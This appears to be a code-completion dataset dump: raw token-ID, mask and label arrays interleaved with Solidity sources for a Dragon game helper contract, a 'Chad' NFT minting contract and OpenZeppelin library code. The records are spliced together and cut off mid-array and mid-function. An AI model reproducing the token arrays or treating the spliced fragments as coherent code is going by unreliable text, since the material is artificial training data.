3639,
2254,
5034,
1147,
548,
203,
565,
11272,
203,
203,
565,
871,
2315,
12,
203,
3639,
1758,
3410,
16,
203,
3639,
2254,
5034,
1147,
548,
203,
565,
11272,
203,
203,
203,
565,
445,
336,
8924,
1380,
1435,
1071,
5381,
1135,
12,
11890,
1769,
203,
565,
445,
5672,
12,
2867,
389,
16351,
1887,
13,
1071,
1135,
261,
6430,
1769,
203,
203,
565,
445,
7412,
12,
203,
3639,
1758,
389,
869,
16,
203,
3639,
2254,
5034,
389,
1132,
16,
203,
3639,
2254,
5034,
389,
2316,
548,
203,
565,
262,
1071,
1135,
261,
6430,
1769,
203,
203,
565,
445,
7412,
1265,
12,
203,
3639,
1758,
389,
2080,
16,
203,
3639,
1758,
389,
869,
16,
203,
3639,
2254,
5034,
389,
1132,
16,
203,
3639,
2254,
5034,
389,
2316,
548,
203,
565,
262,
1071,
1135,
261,
6430,
1769,
203,
203,
565,
445,
1089,
1345,
966,
12,
11890,
2
]
|
pragma solidity 0.4.25;
library SafeMath8 {
function mul(uint8 a, uint8 b) internal pure returns (uint8) {
if (a == 0) {
return 0;
}
uint8 c = a * b;
assert(c / a == b);
return c;
}
function div(uint8 a, uint8 b) internal pure returns (uint8) {
return a / b;
}
function sub(uint8 a, uint8 b) internal pure returns (uint8) {
assert(b <= a);
return a - b;
}
function add(uint8 a, uint8 b) internal pure returns (uint8) {
uint8 c = a + b;
assert(c >= a);
return c;
}
function pow(uint8 a, uint8 b) internal pure returns (uint8) {
if (a == 0) return 0;
if (b == 0) return 1;
uint8 c = a ** b;
assert(c / (a ** (b - 1)) == a);
return c;
}
}
library SafeMath16 {
function mul(uint16 a, uint16 b) internal pure returns (uint16) {
if (a == 0) {
return 0;
}
uint16 c = a * b;
assert(c / a == b);
return c;
}
function div(uint16 a, uint16 b) internal pure returns (uint16) {
return a / b;
}
function sub(uint16 a, uint16 b) internal pure returns (uint16) {
assert(b <= a);
return a - b;
}
function add(uint16 a, uint16 b) internal pure returns (uint16) {
uint16 c = a + b;
assert(c >= a);
return c;
}
function pow(uint16 a, uint16 b) internal pure returns (uint16) {
if (a == 0) return 0;
if (b == 0) return 1;
uint16 c = a ** b;
assert(c / (a ** (b - 1)) == a);
return c;
}
}
library SafeMath32 {
function mul(uint32 a, uint32 b) internal pure returns (uint32) {
if (a == 0) {
return 0;
}
uint32 c = a * b;
assert(c / a == b);
return c;
}
function div(uint32 a, uint32 b) internal pure returns (uint32) {
return a / b;
}
function sub(uint32 a, uint32 b) internal pure returns (uint32) {
assert(b <= a);
return a - b;
}
function add(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
assert(c >= a);
return c;
}
function pow(uint32 a, uint32 b) internal pure returns (uint32) {
if (a == 0) return 0;
if (b == 0) return 1;
uint32 c = a ** b;
assert(c / (a ** (b - 1)) == a);
return c;
}
}
library SafeMath256 {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function pow(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
if (b == 0) return 1;
uint256 c = a ** b;
assert(c / (a ** (b - 1)) == a);
return c;
}
}
library SafeConvert {
function toUint8(uint256 _value) internal pure returns (uint8) {
assert(_value <= 255);
return uint8(_value);
}
function toUint16(uint256 _value) internal pure returns (uint16) {
assert(_value <= 2**16 - 1);
return uint16(_value);
}
function toUint32(uint256 _value) internal pure returns (uint32) {
assert(_value <= 2**32 - 1);
return uint32(_value);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function _validateAddress(address _addr) internal pure {
require(_addr != address(0), "invalid address");
}
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "not a contract owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
_validateAddress(newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Controllable is Ownable {
mapping(address => bool) controllers;
modifier onlyController {
require(_isController(msg.sender), "no controller rights");
_;
}
function _isController(address _controller) internal view returns (bool) {
return controllers[_controller];
}
function _setControllers(address[] _controllers) internal {
for (uint256 i = 0; i < _controllers.length; i++) {
_validateAddress(_controllers[i]);
controllers[_controllers[i]] = true;
}
}
}
contract Upgradable is Controllable {
address[] internalDependencies;
address[] externalDependencies;
function getInternalDependencies() public view returns(address[]) {
return internalDependencies;
}
function getExternalDependencies() public view returns(address[]) {
return externalDependencies;
}
function setInternalDependencies(address[] _newDependencies) public onlyOwner {
for (uint256 i = 0; i < _newDependencies.length; i++) {
_validateAddress(_newDependencies[i]);
}
internalDependencies = _newDependencies;
}
function setExternalDependencies(address[] _newDependencies) public onlyOwner {
externalDependencies = _newDependencies;
_setControllers(_newDependencies);
}
}
contract DragonParams {
function dragonTypesFactors(uint8) external view returns (uint8[5]) {}
function bodyPartsFactors(uint8) external view returns (uint8[5]) {}
function geneTypesFactors(uint8) external view returns (uint8[5]) {}
function experienceToNextLevel(uint8) external view returns (uint8) {}
function dnaPoints(uint8) external view returns (uint16) {}
function geneUpgradeDNAPoints(uint8) external view returns (uint8) {}
function battlePoints() external view returns (uint8) {}
}
contract Name {
using SafeMath256 for uint256;
uint8 constant MIN_NAME_LENGTH = 2;
uint8 constant MAX_NAME_LENGTH = 32;
function _convertName(string _input) internal pure returns(bytes32 _initial, bytes32 _lowercase) {
bytes memory _initialBytes = bytes(_input);
assembly {
_initial := mload(add(_initialBytes, 32))
}
_lowercase = _toLowercase(_input);
}
function _toLowercase(string _input) internal pure returns(bytes32 result) {
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
//sorry limited to 32 characters
require (_length <= 32 && _length >= 2, "string must be between 2 and 32 characters");
// make sure it doesnt start with or end with space
require(_temp[0] != 0x20 && _temp[_length.sub(1)] != 0x20, "string cannot start or end with space");
// make sure first two characters are not 0x
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
// create a bool to track if we have a non number character
bool _hasNonNumber;
// convert & check
for (uint256 i = 0; i < _length; i = i.add(1))
{
// if its uppercase A-Z
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
// convert to lower case a-z
_temp[i] = byte(uint256(_temp[i]).add(32));
// we have a non number
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
// require character is a space
_temp[i] == 0x20 ||
// OR lowercase a-z
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
// or 0-9
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
// make sure theres not 2x spaces in a row
if (_temp[i] == 0x20)
require(_temp[i.add(1)] != 0x20, "string cannot contain consecutive spaces");
// see if we have a character other than a number
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
assembly {
result := mload(add(_temp, 32))
}
}
}
contract DragonUtils {
using SafeMath8 for uint8;
using SafeMath256 for uint256;
using SafeConvert for uint256;
function _getActiveGene(uint8[16] _gene) internal pure returns (uint8[3] gene) {
uint8 _index = _getActiveGeneIndex(_gene); // find active gene
for (uint8 i = 0; i < 3; i++) {
gene[i] = _gene[i + (_index * 4)]; // get all data for this gene
}
}
function _getActiveGeneIndex(uint8[16] _gene) internal pure returns (uint8) {
return _gene[3] >= _gene[7] ? 0 : 1;
}
// returns 10 active genes (one for each part of the body) with the next structure:
// each gene is an array of 3 elements:
// 0 - type of dragon
// 1 - gene type
// 2 - gene level
function _getActiveGenes(uint8[16][10] _genome) internal pure returns (uint8[30] genome) {
uint8[3] memory _activeGene;
for (uint8 i = 0; i < 10; i++) {
_activeGene = _getActiveGene(_genome[i]);
genome[i * 3] = _activeGene[0];
genome[i * 3 + 1] = _activeGene[1];
genome[i * 3 + 2] = _activeGene[2];
}
}
function _getIndexAndFactor(uint8 _counter) internal pure returns (uint8 index, uint8 factor) {
if (_counter < 44) index = 0;
else if (_counter < 88) index = 1;
else if (_counter < 132) index = 2;
else index = 3;
factor = _counter.add(1) % 4 == 0 ? 10 : 100;
}
function _parseGenome(uint256[4] _composed) internal pure returns (uint8[16][10] parsed) {
uint8 counter = 160; // 40 genes with 4 values in each one
uint8 _factor;
uint8 _index;
for (uint8 i = 0; i < 10; i++) {
for (uint8 j = 0; j < 16; j++) {
counter = counter.sub(1);
// _index - index of value in genome array where current gene is stored
// _factor - denominator that determines the number of digits
(_index, _factor) = _getIndexAndFactor(counter);
parsed[9 - i][15 - j] = (_composed[_index] % _factor).toUint8();
_composed[_index] /= _factor;
}
}
}
function _composeGenome(uint8[16][10] _parsed) internal pure returns (uint256[4] composed) {
uint8 counter = 0;
uint8 _index;
uint8 _factor;
for (uint8 i = 0; i < 10; i++) {
for (uint8 j = 0; j < 16; j++) {
(_index, _factor) = _getIndexAndFactor(counter);
composed[_index] = composed[_index].mul(_factor);
composed[_index] = composed[_index].add(_parsed[i][j]);
counter = counter.add(1);
}
}
}
}
contract DragonCoreHelper is Upgradable, DragonUtils, Name {
using SafeMath16 for uint16;
using SafeMath32 for uint32;
using SafeMath256 for uint256;
using SafeConvert for uint32;
using SafeConvert for uint256;
DragonParams params;
uint8 constant PERCENT_MULTIPLIER = 100;
uint8 constant MAX_PERCENTAGE = 100;
uint8 constant MAX_GENE_LVL = 99;
uint8 constant MAX_LEVEL = 10;
function _min(uint32 lth, uint32 rth) internal pure returns (uint32) {
return lth > rth ? rth : lth;
}
function _calculateSkillWithBuff(uint32 _skill, uint32 _buff) internal pure returns (uint32) {
return _buff > 0 ? _skill.mul(_buff).div(100) : _skill; // buff is multiplied by 100
}
function _calculateRegenerationSpeed(uint32 _max) internal pure returns (uint32) {
// because HP/mana is multiplied by 100 so we need to have step multiplied by 100 too
return _sqrt(_max.mul(100)).div(2).div(1 minutes); // hp/mana in second
}
function calculateFullRegenerationTime(uint32 _max) external pure returns (uint32) { // in seconds
return _max.div(_calculateRegenerationSpeed(_max));
}
function calculateCurrent(
uint256 _pastTime,
uint32 _max,
uint32 _remaining
) external pure returns (
uint32 current,
uint8 percentage
) {
if (_remaining >= _max) {
return (_max, MAX_PERCENTAGE);
}
uint32 _speed = _calculateRegenerationSpeed(_max); // points per second
uint32 _secondsToFull = _max.sub(_remaining).div(_speed); // seconds to full
uint32 _secondsPassed = _pastTime.toUint32(); // seconds that already passed
if (_secondsPassed >= _secondsToFull.add(1)) {
return (_max, MAX_PERCENTAGE); // return full if passed more or equal to needed
}
current = _min(_max, _remaining.add(_speed.mul(_secondsPassed)));
percentage = _min(MAX_PERCENTAGE, current.mul(PERCENT_MULTIPLIER).div(_max)).toUint8();
}
function calculateHealthAndMana(
uint32 _initStamina,
uint32 _initIntelligence,
uint32 _staminaBuff,
uint32 _intelligenceBuff
) external pure returns (uint32 health, uint32 mana) {
uint32 _stamina = _initStamina;
uint32 _intelligence = _initIntelligence;
_stamina = _calculateSkillWithBuff(_stamina, _staminaBuff);
_intelligence = _calculateSkillWithBuff(_intelligence, _intelligenceBuff);
health = _stamina.mul(5);
mana = _intelligence.mul(5);
}
function _sqrt(uint32 x) internal pure returns (uint32 y) {
uint32 z = x.add(1).div(2);
y = x;
while (z < y) {
y = z;
z = x.div(z).add(z).div(2);
}
}
// _dragonTypes[i] in [0..39] range, sum of all _dragonTypes items = 40 (number of genes)
// _random in [0..39] range
function getSpecialBattleSkillDragonType(uint8[11] _dragonTypes, uint256 _random) external pure returns (uint8 skillDragonType) {
uint256 _currentChance;
for (uint8 i = 0; i < 11; i++) {
_currentChance = _currentChance.add(_dragonTypes[i]);
if (_random < _currentChance) {
skillDragonType = i;
break;
}
}
}
function _getBaseSkillIndex(uint8 _dragonType) internal pure returns (uint8) {
// 2 - stamina
// 0 - attack
// 3 - speed
// 1 - defense
// 4 - intelligence
uint8[5] memory _skills = [2, 0, 3, 1, 4];
return _skills[_dragonType];
}
function calculateSpecialBattleSkill(
uint8 _dragonType,
uint32[5] _skills
) external pure returns (
uint32 cost,
uint8 factor,
uint8 chance
) {
uint32 _baseSkill = _skills[_getBaseSkillIndex(_dragonType)];
uint32 _intelligence = _skills[4];
cost = _baseSkill.mul(3);
factor = _sqrt(_baseSkill.div(3)).add(10).toUint8(); // factor is increased by 10
// skill is multiplied by 100 so we divide the result by sqrt(100) = 10
chance = _sqrt(_intelligence).div(10).add(10).toUint8();
}
function _getSkillIndexBySpecialPeacefulSkillClass(
uint8 _class
) internal pure returns (uint8) {
// 0 - attack
// 1 - defense
// 2 - stamina
// 3 - speed
// 4 - intelligence
uint8[8] memory _buffsIndexes = [0, 0, 1, 2, 3, 4, 2, 4]; // 0 item - no such class
return _buffsIndexes[_class];
}
function calculateSpecialPeacefulSkill(
uint8 _class,
uint32[5] _skills,
uint32[5] _buffs
) external pure returns (uint32 cost, uint32 effect) {
uint32 _index = _getSkillIndexBySpecialPeacefulSkillClass(_class);
uint32 _skill = _calculateSkillWithBuff(_skills[_index], _buffs[_index]);
if (_class == 6 || _class == 7) { // healing or mana recharge
effect = _skill.mul(2);
} else {
// sqrt(skill / 30) + 1
effect = _sqrt(_skill.mul(10).div(3)).add(100); // effect is increased by 100 as skills
}
cost = _skill.mul(3);
}
function _getGeneVarietyFactor(uint8 _type) internal pure returns (uint32 value) {
// multiplied by 10
if (_type == 0) value = 5;
else if (_type < 5) value = 12;
else if (_type < 8) value = 16;
else value = 28;
}
function calculateCoolness(uint256[4] _composedGenome) external pure returns (uint32 coolness) {
uint8[16][10] memory _genome = _parseGenome(_composedGenome);
uint32 _geneVarietyFactor; // multiplied by 10
uint8 _strengthCoefficient; // multiplied by 10
uint8 _geneLevel;
for (uint8 i = 0; i < 10; i++) {
for (uint8 j = 0; j < 4; j++) {
_geneVarietyFactor = _getGeneVarietyFactor(_genome[i][(j * 4) + 1]);
_strengthCoefficient = (_genome[i][(j * 4) + 3] == 0) ? 7 : 10; // recessive or dominant
_geneLevel = _genome[i][(j * 4) + 2];
coolness = coolness.add(_geneVarietyFactor.mul(_geneLevel).mul(_strengthCoefficient));
}
}
}
function calculateSkills(
uint256[4] _composed
) external view returns (
uint32, uint32, uint32, uint32, uint32
) {
uint8[30] memory _activeGenes = _getActiveGenes(_parseGenome(_composed));
uint8[5] memory _dragonTypeFactors;
uint8[5] memory _bodyPartFactors;
uint8[5] memory _geneTypeFactors;
uint8 _level;
uint32[5] memory _skills;
for (uint8 i = 0; i < 10; i++) {
_bodyPartFactors = params.bodyPartsFactors(i);
_dragonTypeFactors = params.dragonTypesFactors(_activeGenes[i * 3]);
_geneTypeFactors = params.geneTypesFactors(_activeGenes[i * 3 + 1]);
_level = _activeGenes[i * 3 + 2];
for (uint8 j = 0; j < 5; j++) {
_skills[j] = _skills[j].add(uint32(_dragonTypeFactors[j]).mul(_bodyPartFactors[j]).mul(_geneTypeFactors[j]).mul(_level));
}
}
return (_skills[0], _skills[1], _skills[2], _skills[3], _skills[4]);
}
function calculateExperience(
uint8 _level,
uint256 _experience,
uint16 _dnaPoints,
uint256 _factor
) external view returns (
uint8 level,
uint256 experience,
uint16 dnaPoints
) {
level = _level;
experience = _experience;
dnaPoints = _dnaPoints;
uint8 _expToNextLvl;
// _factor is multiplied by 10
experience = experience.add(uint256(params.battlePoints()).mul(_factor).div(10));
_expToNextLvl = params.experienceToNextLevel(level);
while (experience >= _expToNextLvl && level < MAX_LEVEL) {
experience = experience.sub(_expToNextLvl);
level = level.add(1);
dnaPoints = dnaPoints.add(params.dnaPoints(level));
if (level < MAX_LEVEL) {
_expToNextLvl = params.experienceToNextLevel(level);
}
}
}
function checkAndConvertName(string _input) external pure returns(bytes32, bytes32) {
return _convertName(_input);
}
function _checkIfEnoughDNAPoints(bool _isEnough) internal pure {
require(_isEnough, "not enough DNA points for upgrade");
}
function upgradeGenes(
uint256[4] _composedGenome,
uint16[10] _dnaPoints,
uint16 _availableDNAPoints
) external view returns (
uint256[4],
uint16
) {
uint16 _sum;
uint8 _i;
for (_i = 0; _i < 10; _i++) {
_checkIfEnoughDNAPoints(_dnaPoints[_i] <= _availableDNAPoints);
_sum = _sum.add(_dnaPoints[_i]);
}
_checkIfEnoughDNAPoints(_sum <= _availableDNAPoints);
_sum = 0;
uint8[16][10] memory _genome = _parseGenome(_composedGenome);
uint8 _geneLevelIndex;
uint8 _geneLevel;
uint16 _geneUpgradeDNAPoints;
uint8 _levelsToUpgrade;
uint16 _specificDNAPoints;
for (_i = 0; _i < 10; _i++) { // 10 active genes
_specificDNAPoints = _dnaPoints[_i]; // points to upgrade current gene
if (_specificDNAPoints > 0) {
_geneLevelIndex = _getActiveGeneIndex(_genome[_i]).mul(4).add(2); // index of main gene level in genome
_geneLevel = _genome[_i][_geneLevelIndex]; // current level of gene
if (_geneLevel < MAX_GENE_LVL) {
// amount of points to upgrade to next level
_geneUpgradeDNAPoints = params.geneUpgradeDNAPoints(_geneLevel);
// while enough points and gene level is lower than max gene level
while (_specificDNAPoints >= _geneUpgradeDNAPoints && _geneLevel.add(_levelsToUpgrade) < MAX_GENE_LVL) {
_levelsToUpgrade = _levelsToUpgrade.add(1);
_specificDNAPoints = _specificDNAPoints.sub(_geneUpgradeDNAPoints);
_sum = _sum.add(_geneUpgradeDNAPoints); // the sum of used points
if (_geneLevel.add(_levelsToUpgrade) < MAX_GENE_LVL) {
_geneUpgradeDNAPoints = params.geneUpgradeDNAPoints(_geneLevel.add(_levelsToUpgrade));
}
}
_genome[_i][_geneLevelIndex] = _geneLevel.add(_levelsToUpgrade); // add levels to current gene
_levelsToUpgrade = 0;
}
}
}
return (_composeGenome(_genome), _sum);
}
function getActiveGenes(uint256[4] _composed) external pure returns (uint8[30]) {
uint8[16][10] memory _genome = _parseGenome(_composed);
return _getActiveGenes(_genome);
}
function setInternalDependencies(address[] _newDependencies) public onlyOwner {
super.setInternalDependencies(_newDependencies);
params = DragonParams(_newDependencies[0]);
}
} | add levels to current gene
| _genome[_i][_geneLevelIndex] = _geneLevel.add(_levelsToUpgrade); | 2,553,476 | [
1,
1289,
7575,
358,
783,
7529,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
10792,
389,
23220,
63,
67,
77,
6362,
67,
11857,
2355,
1016,
65,
273,
389,
11857,
2355,
18,
1289,
24899,
2815,
11634,
10784,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity =0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./IChad.sol";
import "./IProxyRegistry.sol";
contract Chad is Ownable, ERC721, IChad {
error AmountExceedsMax(uint256 amount, uint256 maxAmount);
error AmountExceedsMaxPerMint(uint256 amount, uint256 maxAmountPerMint);
error NotEnoughEther(uint256 value, uint256 requiredEther);
error SaleNotStarted(uint256 timestamp, uint256 startTime);
// Thursday, 26 August 2021, 16:00 UTC
uint256 public immutable saleStartTimestamp = 1629993600;
// Max amount of public tokens
uint256 public immutable maxPublicAmount = 9700;
// Current amount of public tokens
uint256 public currentPublicAmount;
// Max amount of reserved tokens
uint256 public immutable maxReservedAmount = 300;
// Current amount of reserved tokens
uint256 public currentReservedAmount;
// Mint price of each token (1 ETH)
uint256 public immutable price = 0.035 ether;
// Max amount of NFT per one `mint()` function call
uint256 public immutable maxAmountPerMint = 20;
/// @inheritdoc IChad
string public override contractURI;
// Prefix of each tokenURI
string internal baseURI;
// Interface id of `contractURI()` function
bytes4 private constant INTERFACE_ID_CONTRACT_URI = 0xe8a3d485;
// OpenSea Proxy Registry address
address internal constant OPEN_SEA_PROXY_REGISTRY = 0xa5409ec958C83C3f309868babACA7c86DCB077c1;
/// @notice Creates Chad NFTs, stores all the required parameters.
/// @param contractURI_ Collection URI with collection metadata.
/// @param baseURI_ Collection base URI prepended to each tokenURI.
constructor(string memory contractURI_, string memory baseURI_) ERC721("Chad", "CHAD") {
contractURI = contractURI_;
baseURI = baseURI_;
}
/// @inheritdoc IChad
function setBaseURI(string memory newBaseURI) external override onlyOwner {
baseURI = newBaseURI;
}
/// @inheritdoc IChad
function setContractURI(string memory newContractURI) external override onlyOwner {
contractURI = newContractURI;
}
/// @inheritdoc IChad
function mint(uint256 amount) external payable override {
// solhint-disable not-rely-on-time
if (block.timestamp < saleStartTimestamp)
revert SaleNotStarted(block.timestamp, saleStartTimestamp);
// solhint-enable not-rely-on-time
if (amount > maxAmountPerMint) revert AmountExceedsMaxPerMint(amount, maxAmountPerMint);
if (msg.value < price * amount) revert NotEnoughEther(msg.value, price * amount);
uint256 newPublicAmount = currentPublicAmount + amount;
if (newPublicAmount > maxPublicAmount)
revert AmountExceedsMax(newPublicAmount, maxPublicAmount);
currentPublicAmount = newPublicAmount;
_safeMintMultiple(_msgSender(), amount);
}
/// @inheritdoc IChad
function mintReserved(uint256 amount, address[] calldata recipients)
external
override
onlyOwner
{
uint256 length = recipients.length;
uint256 newReservedAmount = currentReservedAmount + length * amount;
if (newReservedAmount > maxReservedAmount)
revert AmountExceedsMax(newReservedAmount, maxReservedAmount);
currentReservedAmount = newReservedAmount;
for (uint256 i = 0; i < length; i++) {
_safeMintMultiple(recipients[i], amount);
}
}
/// @inheritdoc IChad
function withdrawEther() external override onlyOwner {
Address.sendValue(payable(owner()), address(this).balance);
}
/// @inheritdoc IERC165
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, IERC165)
returns (bool)
{
return interfaceId == INTERFACE_ID_CONTRACT_URI || super.supportsInterface(interfaceId);
}
/// @inheritdoc ERC721
function isApprovedForAll(address owner, address operator)
public
view
override(ERC721, IERC721)
returns (bool)
{
IProxyRegistry proxyRegistry = IProxyRegistry(OPEN_SEA_PROXY_REGISTRY);
if (proxyRegistry.proxies(owner) == operator) return true;
return super.isApprovedForAll(owner, operator);
}
/// @inheritdoc IChad
function totalSupply() public view override returns (uint256) {
return currentPublicAmount + currentReservedAmount;
}
/// @dev Helper function for minting multiple tokens
function _safeMintMultiple(address recipient, uint256 amount) internal {
for (uint256 i = 0; i < amount; i++) {
_safeMint(recipient, totalSupply());
}
}
/// @inheritdoc ERC721
function _baseURI() internal view override returns (string memory) {
return baseURI;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
